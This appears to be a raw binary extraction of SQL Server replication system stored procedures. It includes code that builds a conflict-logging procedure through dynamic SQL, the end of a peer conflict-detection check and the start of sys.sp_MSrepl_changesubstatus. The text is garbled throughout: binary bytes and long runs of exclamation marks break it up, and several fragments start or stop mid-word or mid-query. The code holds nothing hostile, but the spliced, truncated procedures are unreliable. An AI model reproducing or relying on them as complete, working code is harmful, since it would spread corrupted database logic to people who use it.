0[, h8Q}/h>8^}Å0_ D8Fkhb /!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!i>C`<(D+=v[R        if (@paramterm is NOT NULL)
        begin
            if (@paramtabempty = 1)
            begin
                select @paramtabempty = 0
                        ,@cmd = @paramterm
            end
            else
                select @cmd = N', ' + @paramterm
            insert into #paramtab(procedure_text) values(@cmd)
        end
        if (@selterm is NOT NULL)
        begin
            if (@seltabempty = 1)
            begin
                select @seltabempty = 0
                        ,@cmd = N'
        ' + @selterm
            end
            else
                select @cmd = N'
        ,' + @selterm       
            insert into #seltab(procedure_text) values(@cmd)
        end
        if (@sel2term is NOT NULL)
        begin
            if (@sel2tabempty = 1)
            begin
                select @sel2tabempty = 0
                        ,@cmd = N'
        ' + @sel2term
            end
            else
                select @cmd = N'
        ,' + @sel2term      
            insert into #sel2tab(procedure_text) values(@cmd)
        end 
        if (@where_term is NOT NULL)
        begin
            if (@where_clausetabempty = 1)
            begin
                select @where_clausetabempty = 0
                        ,@cmd = @where_term
            end
            else
                select @cmd = N' AND 
            ' + @where_term
            insert into #where_clausetab(procedure_text) values(@cmd)
        end
        if (@declterm is NOT NULL)
        begin
            select @cmd = @declterm + N'
    '
            insert into #decltab(procedure_text) values(@cmd)
        end     
        if (@assignterm is NOT NULL)
        begin
            select @cmd = @assignterm + N'
    '
            insert into #assigntab(procedure_text) values(@cmd)
        end     
        if (@compinsterm is NOT NULL)
        begin
            if (@compinsertabempty = 1)
            begin
                select @compinsertabempty = 0
                        ,@cmd = N' + ISNULL(''' + @compinsterm + N', ''null'')'
            end
            else
                select @cmd = N' + ISNULL('',' + @compinsterm + N', '',null'')'
            insert into #compinstab(procedure_text, termlen) values(@cmd, (@termlen + len(@cmd)))
        end
        --
        -- do the next fetch of columns cursor
        --
        fetch #argcursor into @colid, @termlen
    end -- while loop of columns cursor
    close #argcursor
    deallocate #argcursor
    drop table #indcoltab
    --
    -- generation phase
    --
    BEGIN TRAN 
    save tran sp_MSmaketrancftproc
    --
    -- create temp table to select the command text out of
    --
    if exists (select * from sys.objects where name = 'tempcmd' and schema_id = schema_id('dbo'))
            drop table dbo.tempcmd
    create table dbo.tempcmd ( c1 int identity NOT NULL, cmdtext nvarchar(4000) NULL)
    --
    -- create header
    --
    insert into  dbo.tempcmd(cmdtext) 
		values(case @alter when 0 then N'create' else N'alter' end + ' procedure '+@qualprocname + N'( 
		')
    --
    -- insert the arglist
    --
    insert into dbo.tempcmd(cmdtext) select procedure_text from #argtab order by c1 
    insert into dbo.tempcmd(cmdtext) values(N' ,@subcriber sysname = NULL, @subdb sysname = NULL )
as
begin
')
    --
    -- insert the declare list
    --
    insert into dbo.tempcmd(cmdtext) select procedure_text from #decltab order by c1 
    insert into dbo.tempcmd(cmdtext) values(N'
')
    --
    -- script out security check
    --
    insert into dbo.tempcmd(cmdtext) values(N'
    ' + N'--
    ' + N'-- Check for security
    ' + N'--
    exec @retcode = sys.sp_MSreplcheck_pull @publication = N'''+ sys.fn_replreplacesinglequote(@publication) collate database_default + N'''
    if (@retcode != 0 or @@error != 0)
        return -1
    ')
    --
    -- insert the assignment list (for declared vars)
    --
    insert into dbo.tempcmd(cmdtext) select procedure_text from #assigntab order by c1
    --
    -- do the select for the case where we need to retain values of publisher
    --
    insert into dbo.tempcmd(cmdtext) values(N'
    if (@reason_code = @subwins_code)
    begin
        select ')
    insert into dbo.tempcmd(cmdtext) select procedure_text from #seltab order by c1
    insert into dbo.tempcmd(cmdtext) values(N'
        from ' + @source_table + N' where ')
    insert into dbo.tempcmd(cmdtext) select procedure_text from #where_clausetab order by c1
    insert into dbo.tempcmd(cmdtext) values(N'
    end')

    insert into dbo.tempcmd(cmdtext) values(N'
    else
    begin
        select ')
    
    insert into dbo.tempcmd(cmdtext) select procedure_text from #sel2tab order by c1
    insert into dbo.tempcmd(cmdtext) values(N'
        from ' + @source_table + N' where ')
    insert into dbo.tempcmd(cmdtext) select procedure_text from #where_clausetab order by c1
    insert into dbo.tempcmd(cmdtext) values(N'
    end
')
    --
    -- insert the conflict row in the publisher cft table
    --
    insert into dbo.tempcmd(cmdtext) values(N'
    insert into ' + @qualname + N'(')
    insert into dbo.tempcmd(cmdtext) select procedure_text from #valtab order by c1
    insert into dbo.tempcmd(cmdtext) values(N',[qcfttabrowid]) 
    values (')
    insert into dbo.tempcmd(cmdtext) select procedure_text from #paramtab order by c1
    insert into dbo.tempcmd(cmdtext) values(N',@qcfttabrowid)
')
    --
    -- generate compensating command decentralized logging
    -- depending on the number of columns, we will split the compensating
    -- command into several compensating commands
    --
    select @compinsertabempty = 1
            ,@splitlen = 0
    select @cmd = N'
        if (@centralized_conflicts = 0)
        begin
            select @compcmd = N''insert into ' + sys.fn_replreplacesinglequote(@destqualname) collate database_default + N' ( '
    insert into dbo.tempcmd(cmdtext) values(@cmd)
    select @splitlen = @splitlen + len(@cmd)
    --
    -- build the first part of compensating command for each column using the values list
    --
    declare #htempcur cursor local for
        select sys.fn_replreplacesinglequote(procedure_text) from #valtab order by c1
    for read only

    open #htempcur
    fetch #htempcur into @compinsterm
    while (@@fetch_status = 0)
    begin
        insert into dbo.tempcmd(cmdtext) select @compinsterm
        select @splitlen = @splitlen + len(@cmd)
        --
        -- if we have processed enough terms then split the command
        --
        if (@splitlen > 3500)
        begin
            --
            -- script where clause
            --
            select @cmd = N'''
        from ' + @qualname + N' where qcfttabrowid = @qcfttabrowid and tranid = @tranid' 
            insert into dbo.tempcmd(cmdtext) values(@cmd)       
            --
            -- script the compensating command to log
            --
            select @cmd = N'
        exec @retcode = sys.sp_MSadd_compensating_cmd @subcriber, @subdb, @compcmd, ' 
            + CAST(@artid as nvarchar(10)) + N', ' + CAST(@pubid as nvarchar(10)) + N',1,0,'
            + CAST(@compinsertabempty as nvarchar(4)) + N'
        if (@@error != 0 or @retcode != 0)
            return 1 
        select @compcmd = N''' 
            insert into dbo.tempcmd(cmdtext) values(@cmd)
            --
            -- reinitialize the loop params
            --
            select @compinsertabempty = 0
                    ,@splitlen = 0
        end
        --
        -- fetch next value
        --
        fetch #htempcur into @compinsterm
    end
    close #htempcur
    deallocate #htempcur
    --
    -- script the values part of the insert
    --
    insert into dbo.tempcmd(cmdtext) values(N', [qcfttabrowid] ) values ('' ')
    select @splitlen = @splitlen + len(@cmd)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<r
[R            ,@termlen = 0
    --
    -- build the last part of compensating command for each column using the compinstab list
    --
    declare #htempcur cursor local for
        select procedure_text, termlen from #compinstab order by c1
    for read only

    open #htempcur
    fetch #htempcur into @compinsterm, @termlen
    while (@@fetch_status = 0)
    begin
        --
        -- if we have processed enough terms then split the command
        --
        if (@splitlen + @termlen < 3500)
        begin
            insert into dbo.tempcmd(cmdtext) select @compinsterm
            select @splitlen = @splitlen + @termlen
        end
        else
        begin
            --
            -- script where clause
            --
            select @cmd = N'
        from ' + @qualname + N' where qcfttabrowid = @qcfttabrowid and tranid = @tranid' 
            insert into dbo.tempcmd(cmdtext) values(@cmd)       
            --
            -- script the compensating command to log
            --
            select @cmd = N'
        exec @retcode = sys.sp_MSadd_compensating_cmd @subcriber, @subdb, @compcmd, ' 
            + CAST(@artid as nvarchar(10)) + N', ' + CAST(@pubid as nvarchar(10)) + N',1,0,'
            + CAST(@compinsertabempty as nvarchar(4)) + N'
        if (@@error != 0 or @retcode != 0)
            return 1 
        
        select @compcmd = N'' ''' 
            insert into dbo.tempcmd(cmdtext) values(@cmd)
            --
            -- reinitialize the loop params
            --
            insert into dbo.tempcmd(cmdtext) select @compinsterm
            select @splitlen = @termlen, @compinsertabempty = 0
        end
        --
        -- fetch next compinsert term
        --
        fetch #htempcur into @compinsterm, @termlen
    end
    close #htempcur
    deallocate #htempcur
    --
    -- script the final compensating command
    --
    select @cmd = N' + '', '''''' + CAST([qcfttabrowid] as nvarchar(40)) + '''''''' + N'' ) ''
        from ' + @qualname + N' where qcfttabrowid = @qcfttabrowid and tranid = @tranid' 
    insert into dbo.tempcmd(cmdtext) values(@cmd)

    select @cmd = N'
        exec @retcode = sys.sp_MSadd_compensating_cmd @subcriber, @subdb, @compcmd, ' 
            + CAST(@artid as nvarchar(10)) + N', ' + CAST(@pubid as nvarchar(10)) + N',0,0,'
            + CAST(@compinsertabempty as nvarchar(4)) + N'
        if (@@error != 0 or @retcode != 0)
            return 1 ' 
    insert into dbo.tempcmd(cmdtext) values(@cmd)       
    insert into dbo.tempcmd(cmdtext) values(N'
    end
end')
    --
    -- process based on debug flag
    --
    if (@is_debug = 0)
    begin
        --
        -- Now we select out the command text pieces in proper order so that our caller,
        -- xp_execresultset will execute the command that creates the stored procedure.
        --
        select @dbname = db_name()
                ,@cmd = N'select cmdtext from dbo.tempcmd order by c1'
        exec @retcode = sys.xp_execresultset @cmd, @dbname
        if (@@error != 0 or @retcode != 0)
        begin
            -- roll back the tran
            rollback tran sp_MSmaketrancftproc
            return (1)
        end
        --
        -- Check if we create the proc and update sysarticleupdates
        --
        select @conflict_proc_id = object_id from sys.objects where name = @procname and type = 'P '
        if (@conflict_proc_id is NULL or @conflict_proc_id = 0)
        begin
            -- roll back the tran
            rollback tran sp_MSmaketrancftproc
            return (1)
        end
        else
        begin
            update dbo.sysarticleupdates set ins_conflict_proc = @conflict_proc_id
                where artid = @artid and pubid = @pubid
            if @@error <> 0
            begin
                -- roll back the tran
                rollback tran sp_MSmaketrancftproc
                return (1)
            end
            --
            -- mark the proc as system object
            --
            if (@owner in ('dbo','INFORMATION_SCHEMA'))
            begin
                exec @retcode = dbo.sp_MS_marksystemobject @qualprocname
                if (@@error != 0 or @retcode != 0)
                begin
                    -- roll back the tran
                    rollback tran sp_MSmaketrancftproc
                    return (1)
                end
            end
        end
    end
    else
    begin
        --
        -- debug mode - just return the script as resultset
        --
        select cmdtext from dbo.tempcmd order by c1
    end
    --
    -- commit tran
    --
    COMMIT TRAN 
    --
    -- drop the temp tables
    --
    drop table dbo.tempcmd
    drop table #argtab 
    drop table #valtab 
    drop table #paramtab 
    drop table #seltab 
    drop table #sel2tab 
    drop table #decltab 
    drop table #assigntab 
    drop table #where_clausetab 
    drop table #compinstab
    --
    -- all done
    -- 
    return (0)
END
[D	[Dse_timed_out = @phase_timed_out,
		modified_date = GETDATE()
	where id = @request_id
	if @@error <> 0
		return (1)

	raiserror (22817, 10, -1, N'Status collection', N'ended') with nowait 

	--status report
	if exists(select * from MSpeer_conflictdetectionconfigresponse 
			where peer_version < 0x0A000000)
	begin
		-- peers earlier than Katmail exist
		raiserror(22813, 10, -1) with nowait 
	end
	
	if 	(select count (distinct originator_id)
		from MSpeer_originatorid_history
		where originator_publication = @publication)
	 < 	(select count (originator_id)
		 from MSpeer_originatorid_history
		 where originator_publication = @publication)
	begin 
		-- duplicate peer IDs are found
		raiserror(22814, 10, -1) with nowait 
	end

	select * from MSpeer_conflictdetectionconfigrequest
	select * from MSpeer_conflictdetectionconfigresponse
	select * from MSpeer_originatorid_history
	
	return (0)
	
UNDO:
	rollback tran tr_sp_help_peerconflictdetection
	commit tran
	return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!i`<(
EJsTv!create procedure sys.sp_MSrepl_changesubstatus
(
    @publication			sysname = '%',
    @article				sysname = '%',
    @subscriber				sysname = '%',	
    @status				sysname,
    @previous_status			sysname = NULL,
    @destination_db			sysname = '%',
    @frequency_type			int = NULL,
    @frequency_interval			int = NULL,
    @frequency_relative_interval	int = NULL,
    @frequency_recurrence_factor	int = NULL,
    @frequency_subday			int = NULL,
    @frequency_subday_interval		int = NULL,
    @active_start_time_of_day		int = NULL,
    @active_end_time_of_day		int = NULL,
    @active_start_date			int = NULL,
    @active_end_date			int = NULL,
    @optional_command_line		nvarchar(4000) = NULL,
    @distribution_jobid			binary(16) = NULL OUTPUT,
    @from_auto_sync			bit = 0,
    @ignore_distributor			bit = 0,
    -- Agent offload
    @offloadagent			bit = 0,
    @offloadserver			sysname = NULL,
    @dts_package_name			sysname = NULL,
    @dts_package_password		nvarchar(524) = NULL,
    @dts_package_location		int = 0,
    @skipobjectactivation		int = 0,
    @distribution_job_name		sysname = NULL,
    @publisher				sysname = NULL,
    @publisher_type			sysname
    ,@ignore_distributor_failure 	bit = 0
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @inactive tinyint
                ,@subscribed tinyint
                ,@active tinyint
                ,@initiated tinyint
                ,@public tinyint
                ,@replicate_bit smallint
                ,@msg nvarchar(255)
                ,@prevstatid tinyint
                ,@artid int
                ,@tabid int
                ,@objid int
                ,@qualified_name nvarchar(517)
                ,@srvid smallint
                ,@statusid tinyint
                ,@distributor sysname
                ,@distribdb sysname
                ,@distproc nvarchar (1000)
                ,@pub_db sysname
                ,@dest_db sysname
                ,@sub_name sysname
                ,@sub_status tinyint
                ,@sub_ts varbinary (16)
                ,@non_sql_flag bit
                ,@qcmd nvarchar (4000)
                ,@cmd1 nvarchar (255)
                ,@cmd2 nvarchar (255)
                ,@cmd3 nvarchar (255)
                ,@retcode int
                ,@repl_freq tinyint
                ,@art_type tinyint
                ,@proccmd  nvarchar(255)
                ,@procnum  smallint
                ,@finished_real bit
                ,@finished_virtual bit
                ,@virtual_id smallint
                ,@immediate_sync bit
                ,@enabled_for_internet bit
                ,@allow_anonymous bit
                ,@subscription_type int
                ,@xact_seqno binary(10)
                ,@sync_type tinyint
                ,@nosync_type tinyint
                ,@automatic tinyint
                ,@allow_initialize_from_backup bit
                ,@sync_method int
                ,@art_change bit
                ,@login_name sysname
                ,@pubid int
                ,@syncinit_lsn binary(10)
                ,@f_syncstat_posted bit
                -- synctran
                ,@update_mode tinyint
                ,@art_name sysname
                ,@synctran tinyint
                ,@no_distproc bit
                ,@loopback_detection bit
                ,@bcp_char tinyint,  @concurrent_char tinyint
                -- heterogeneous publishers
                ,@publisher_local sysname
                ,@publisher_id int
                ,@publisher_db sysname
                ,@internal sysname
                ,@publisher_engine_edition int
                ,@current_publication sysname
                ,@OPT_ENABLED_FOR_HET_SUB tinyint
                ,@alreadyactiveforCSS bit

    DECLARE @publication_ids TABLE
        (
            pubid int
        )

    -- Validate @publisher
    IF @publisher IS NULL
    BEGIN
        select @publisher_local = publishingservername()
    END 
    ELSE
    BEGIN
		/* For heterogeneous publisher, the current database must be the */
		/* distribution db for the publisher */
		select @publisher_local = @publisher

		SELECT	@publisher_id = s.srvid,
				@publisher_db = m.distribution_db
		FROM	master.dbo.sysservers s, msdb..MSdistpublishers m
		WHERE	UPPER(s.srvname collate database_default) = UPPER(m.name collate database_default) 
		  AND	UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
		  AND	m.distribution_db = DB_NAME() collate database_default
	    
		IF @@ERROR <> 0 
			RETURN (1)

		IF @publisher_id is NULL or @publisher_db IS NULL
		BEGIN
			RETURN (1)
		END

		-- Security Check.
		exec @retcode = sys.sp_MSreplcheck_publish
		if @@ERROR <> 0 or @retcode <> 0
		BEGIN
			RETURN (1)
		END
    END

  
    --
    -- Initializations.
    --
    select @bcp_char          = 1,
            @concurrent_char   = 4,  
            @synctran          = 1,
            @automatic         = 1,
            @inactive          = 0,			-- Const: subscription status 'inactive'
            @subscribed        = 1,			-- Const: subscription status 'subscribed'
            @active            = 2,			-- Const: subscription status 'active'
            @initiated         = 3,			-- Const: subscription status 'initiated'
            @public            = 0,			-- Const: publication status 'public'
            @pub_db            = DB_NAME(),
            @virtual_id        = -1,
            @art_change        = 0,
            @f_syncstat_posted = 0,
            @replicate_bit     = 2,
            @publisher_engine_edition = sys.fn_MSrepl_editionid()
            ,@OPT_ENABLED_FOR_HET_SUB = 0x4

    /* 
    ** Security Check.
    ** We use login_name stored in syssubscriptions to manage security 
    */

    /*
    ** Parameter Check:  @publication
    ** Check to make sure that the publication exists, that it's not NULL,
    ** and that it conforms to the rules for identifiers.
    */

    IF @publication IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_changesubstatus')
		RETURN (1)
	END

    IF @publication <> '%'
	BEGIN
		EXECUTE @retcode = sys.sp_validname @publication
		IF @@ERROR <> 0 OR @retcode <> 0
		RETURN (1)
	END

	-- Get list of matching publication id's for
	-- this publisher/type combo
	INSERT INTO @publication_ids
	SELECT pubid
	FROM   sys.fn_IHgetpubid(@publication, @publisher, @publisher_type)

	IF NOT EXISTS
	(
		SELECT	*
		FROM	@publication_ids
	)
	BEGIN
		IF @publication = '%'
		BEGIN
			RAISERROR (14008, 11, -1)
		END
		ELSE
		BEGIN
			RAISERROR (20026, 11, -1, @publication)
		END
		
		RETURN (1)
	END

    /*
    ** Parameter Check:  @article
    ** Check to make sure that the article exists, that it's not null,
    ** and that it conforms to the rules for identifiers.
    */

    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_changesubstatus')
            RETURN (1)
        END

    /*
    IF @article <> '%'
        BEGIN
            EXECUTE @retcode = sys.sp_validname @article
            IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
        END
    */

    IF NOT EXISTS
	(
		SELECT	*
		FROM	sysextendedarticlesview a,
				syspublications b,
				@publication_ids pi
		WHERE	a.pubid = b.pubid
		  AND	 ((@article = N'%') or (a.name = @article))
		  AND	((@publication = N'%') or (b.name = @publication))
		  AND	b.pubid = pi.pubid
	)
	BEGIN
		IF @article = '%'
		BEGIN
			RAISERROR (14009, 11, -1, @publication)
		END
		ELSE
		BEGIN
			RAISERROR (20027, 11, -1, @article)
		END

		RETURN (1)
	END

    /*
    ** Parameter Check:  @subscriber
    ** Check to make sure that the subscriber exists, that it is not NULL,
    ** and that it conforms to the rules for identifiers.
    ** Null subscriber represents virtual subs!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
EZPv!criptions
    */

    IF @subscriber IS NOT NULL AND @subscriber <> '%'
    BEGIN    
        EXECUTE @retcode = sys.sp_validname @subscriber
        IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)

        IF NOT EXISTS (SELECT *
                         FROM dbo.syssubscriptions
                        WHERE srvname = UPPER(@subscriber) 
                        )
            and @ignore_distributor_failure = 0

            BEGIN
                RAISERROR (14063, 11, -1)
                RETURN (1)
            END
    END

    /*
    ** Parameter Check: @status.
    ** Set the @statusid according to the @status value.  Values can be
    ** any of the following:
    **
    **      status      statusid
    **      =========   ========
    **      inactive           0
    **      subscribed         1
    **      active             2
    **      initiated          3
    */

    IF LOWER(@status collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('active', 'subscribed', 'inactive', 'initiated')
        BEGIN
            RAISERROR (14065, 16, -1)
        RETURN (1)
        END

    IF LOWER(@status collate SQL_Latin1_General_CP1_CS_AS) IN ('initiated')
        SELECT @statusid = @initiated
    ELSE IF LOWER(@status collate SQL_Latin1_General_CP1_CS_AS) IN ('active')
        SELECT @statusid = @active
    ELSE IF LOWER(@status collate SQL_Latin1_General_CP1_CS_AS) IN ('subscribed')
        SELECT @statusid = @subscribed
    ELSE
        SELECT @statusid = @inactive

    /*
    ** Parameter Check: @previous_status.
    ** Set the @prevstatid according to the @previous_status value.
    ** Values can be any of the following:
    **
    **      previous_status      prevstatid
    **      ===============      ==========
    **      inactive                      0
    **      subscribed                    1
    **      active                        2
    **      initiated                     3
    */

    IF @previous_status IS NOT NULL
    BEGIN
        IF LOWER(@previous_status collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('initiated','active', 'subscribed', 'inactive')
        BEGIN
            RAISERROR (14066, 16, -1)
            RETURN (1)
        END

        IF LOWER(@status collate SQL_Latin1_General_CP1_CS_AS) = LOWER(@previous_status collate SQL_Latin1_General_CP1_CS_AS)
        BEGIN
            RAISERROR (14067, 16, -1)
            RETURN (1)
        END

        IF LOWER(@previous_status collate SQL_Latin1_General_CP1_CS_AS) IN ('initiated')
            SELECT @prevstatid = @initiated
        ELSE IF LOWER(@previous_status collate SQL_Latin1_General_CP1_CS_AS) IN ('active')
            SELECT @prevstatid = @active
        ELSE IF LOWER(@previous_status collate SQL_Latin1_General_CP1_CS_AS) IN ('subscribed')
            SELECT @prevstatid = @subscribed
        ELSE
           SELECT @prevstatid = @inactive
    END

    /*
    ** Parameter Check: @destination_db.
    ** Set @destination_db to current database if not specified.  Make
    ** sure that the @destination_db conforms to the rules for identifiers.
    */

    IF @destination_db <> '%' 
    BEGIN
        EXECUTE @retcode = sys.sp_validname @destination_db
        IF @retcode <> 0
        RETURN (1)
    END

	/*
    ** Parameter Check: @offloadagent.
	*/
	IF @offloadagent IS NOT NULL
		AND @offloadagent != 0
	BEGIN
		-- "Parameter '@offloadagent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadagent')
		RETURN 1
	END

	IF ISNULL(@offloadserver, N'') != N''
	BEGIN
		-- "Parameter '@offloadserver' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadserver')
		RETURN 1
	END

    /*
    ** Get distribution server information for remote RPC
    ** subscription calls.
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 1 
        select @no_distproc = 1
    else
        select @no_distproc = 0

    IF @no_distproc = 0 --and @from_auto_sync = 0 
    BEGIN
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
												@rpcsrvname		= @distributor OUTPUT,
												@distribdb		= @distribdb   OUTPUT

		IF (@@error <> 0 OR @retcode <> 0) and @ignore_distributor_failure = 0
		BEGIN
			RAISERROR (14071, 16, -1)
			RETURN (1)
		END
	    
		IF (@publisher IS NOT NULL) AND ((@distribdb IS NULL OR @distributor IS NULL) and @ignore_distributor_failure = 0)
		BEGIN
			RAISERROR(21600, 16, -1, @publisher)
			RETURN (1)
		END
    END


    create table #sysextendedarticlesview
    (
		artid               		int                 NULL,
		creation_script     		nvarchar(255)       collate database_default null,
		del_cmd             		nvarchar(255)       collate database_default null,
		description         		nvarchar(255)       collate database_default null,
		dest_table          		sysname             collate database_default null,
		filter              		int                 NULL,
		filter_clause       		ntext               NULL,
		ins_cmd             		nvarchar(255)       collate database_default null,
		name                		sysname             collate database_default null,
		objid               		int                 NULL,
		pubid               		int                 NULL,
		pre_creation_cmd    		tinyint             NULL,
		status              		tinyint             NULL,
		sync_objid          		int                 NULL,
		type                		tinyint             NULL,
		upd_cmd             		nvarchar(255)       collate database_default null,
		schema_option       		binary(8)           NULL,
		dest_owner          		sysname             collate database_default null,
        ins_scripting_proc			int					NULL,
        del_scripting_proc			int					NULL,
        upd_scripting_proc			int					NULL,
        custom_script				nvarchar(2048)		NULL,
        fire_triggers_on_snapshot	bit					NOT NULL
    )

	INSERT INTO	#sysextendedarticlesview 
	SELECT	sxav.* 
	FROM	sysextendedarticlesview sxav,
			syspublications sp,
			@publication_ids pi
	WHERE	sp.pubid = sxav.pubid
	  AND	((@publication = N'%') or (sp.name = @publication collate database_default))
	  AND	 ((@article = N'%') or (sxav.name = @article collate database_default))
	  AND	sp.pubid = pi.pubid

    begin tran
    save TRANSACTION changesubstatus

    SELECT @finished_virtual = 0
    SELECT @finished_real = 0

    /* 
    ** If @subscriber is null, don't process real subscriptions
    ** If @subscriber is not null and '%', don't process virtual subscriptions
    */
    IF @subscriber IS NULL
    BEGIN
    	SELECT @finished_real = 1
    END
    ELSE IF @subscriber <> '%' 
    BEGIN
    	SELECT @finished_virtual = 1
    END

    WHILE (@finished_real = 0 OR @finished_virtual = 0)
    BEGIN
        /*
        ** Declare cursor containing subscriptions to be updated.
        */
        IF @finished_real = 0
        BEGIN
            IF @previous_status IS NOT NULL
            BEGIN
				DECLARE #hCsubstatus CURSOR LOCAL SCROLL_LOCKS FOR
				SELECT pub.name,
						sub.artid,
						art.objid,
						sub.srvid,
						sub.srvname,
						sub.dest_db,
						sub.status,
						case
							when ((pub.options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB)
									or pub.allow_dts = 1 then 1
							else 0
						end,
						pub.repl_freq,
						art.type,
						pub.immediate_sync,
						pub.enabled_for_internet,
						pub.allow_anonymous,
						sub.subscription_type,
						sub.sync_type,
						sub.update_mode,
						art.name,
						sub.login_name,
						sub.loopback_detection,
						pub.pubid,
						pub.allow_initialize_from_backup,
                        pub.sync_method,
                        sub.nosync_type
				  FROM	syssubscriptions sub,
						#sysextendedarticlesview art,
						syspublications pub,
						@publication_ids pi
				 WHERE	((@publication!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
Es"v! = N'%') or (pub.name = @publication collate database_default))
				   AND	((@article = N'%') or (art.name = @article collate database_default))
				   AND	((@subscriber = N'%') OR (sub.srvname = UPPER(@subscriber) ))
					and (sub.srvname is not null and len(sub.srvname)> 0)
				   AND	sub.artid = art.artid
				   AND	art.pubid = pub.pubid
				   AND	sub.status = @prevstatid
				   AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db collate database_default))
			  	   AND	pub.pubid = pi.pubid
				ORDER BY art.objid
            END
            ELSE
            BEGIN
				DECLARE #hCsubstatus CURSOR LOCAL SCROLL_LOCKS FOR
				SELECT	pub.name,
						sub.artid,
						art.objid,
						sub.srvid,
						sub.srvname,
						sub.dest_db,
						sub.status,
						case
							when ((pub.options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB)
									or pub.allow_dts = 1 then 1
							else 0
						end,
						pub.repl_freq,
						art.type,
						pub.immediate_sync,
						pub.enabled_for_internet,
						pub.allow_anonymous,
						sub.subscription_type,
						sub.sync_type,
						sub.update_mode,
						art.name,
						sub.login_name,
						sub.loopback_detection,
						pub.pubid,
						pub.allow_initialize_from_backup,
                        pub.sync_method,
                        sub.nosync_type
				FROM	syssubscriptions sub,
						#sysextendedarticlesview art,
						syspublications pub,
						@publication_ids pi
				WHERE	((@publication = N'%') or (pub.name = @publication collate database_default))
				  AND	((@article = N'%') or (art.name = @article collate database_default))
				  AND	((@subscriber = N'%') OR (sub.srvname = UPPER(@subscriber) ))
					and (sub.srvname is not null and len(sub.srvname)> 0)
				  AND	sub.artid = art.artid
				  AND	art.pubid = pub.pubid
				  AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db))
			  	  AND	pub.pubid = pi.pubid
				order by art.objid
            END        

            SELECT @finished_real = 1
        END
        ELSE IF @finished_virtual = 0  
        BEGIN
            DECLARE @sub_bit smallint
                        ,@null_name sysname

            SELECT @sub_bit = 4
                        ,@null_name = NULL

            /*
            ** Treat anonymous virtual subscription as DSN subscriber.
            ** This will cause sp_MSarticlecol being called in sp_changesubstatus
            */
			DECLARE #hCsubstatus CURSOR LOCAL SCROLL_LOCKS FOR
			SELECT	pub.name,
					sub.artid,
					art.objid,
					sub.srvid,
					@null_name,              /* subscriber name. NULL for virtual */
					sub.dest_db,
					sub.status,
					case
						when
							(pub.allow_anonymous = 1 and 
								(pub.sync_method = @bcp_char or	pub.sync_method = @concurrent_char))
							or pub.allow_dts = 1 then 1
						else 0
					end, /*indicate dsn or not */ 
					pub.repl_freq,
					art.type,
					pub.immediate_sync,
					pub.enabled_for_internet,
					pub.allow_anonymous,
					sub.subscription_type,
					sub.sync_type,
					sub.update_mode,
					art.name,
					login_name,
					sub.loopback_detection,
					pub.pubid,
					pub.allow_initialize_from_backup,
                    pub.sync_method,
                    sub.nosync_type
			FROM	syssubscriptions sub,
